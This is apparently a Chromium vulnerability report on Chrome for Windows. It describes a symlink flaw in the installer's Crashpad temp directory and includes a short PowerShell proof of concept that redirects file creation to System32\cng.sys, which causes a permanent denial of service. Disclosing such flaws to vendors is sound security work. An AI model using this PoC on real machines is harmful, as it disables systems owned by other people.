Chromium

---

### Report description


Chrome Crashpad arbitrary file create


---

### Bug location


#### Which product or website have you found a vulnerability in?

Google Chrome


---

### The problem


#### Please describe the technical details of the vulnerability

## Chrome Crashpad arbitrary file create

## Basic Info

- Software Name: Chrome for Windows
- Software Version：111.0.5563.111 x64
- Test OS System：Windows 21H2 (19044.1826)
- Vuln Type：Arbitrary File Create
- Vuln Description：When installing the Chrome for Windows, it will create `C:\Windows\Temp\Crashpad\` directroy and files in it. However, it doesn't check if `C:\Windows\Temp\Crashpad`is a symlink. Because all Users can create files under `C:\Windows\Temp` .An attacker with low privilege can creates a symlink before administrator install chrome. The installer will follow the symlink and create files in other places. We can use trick here(https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) to utilize arbitrary folder create to get a permanent dos.

## Proof Of Concept

1. poc.ps1，Create a symlink

```
Import-Module ".\NtApiDotNet.dll" -ErrorAction Stop

$tmpDir = "C:\Windows\Temp\Crashpad"

$outDllPath = "C:\Windows\System32\cng.sys"

#create symbolink
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$tmpDir", "\RPC Control", $null)
$out = [NtApiDotNet.NtSymbolicLink]::Create("\RPC Control\reports", "\??\$outDllPath")
```

2. install chrome, the install process will create C:\Windows\System32\cng.sys under C:\Windows\System32\
3. reboot windows system. and it will be a permanent dos.








#### Please briefly explain who can exploit the vulnerability, and what they gain when doing so

An attacker with low privilege in Windows system, it will finally get a permanent dos.


---

### The cause


#### What version of Chrome have you found the security issue in?

111.0.5563.111 x64 for Windows


#### Is the security issue related to a crash?

No


#### Choose the type of vulnerability

Privilege Escalation


#### How would you like to be publicly acknowledged for your report?

ycdxsb from VARAS@IIE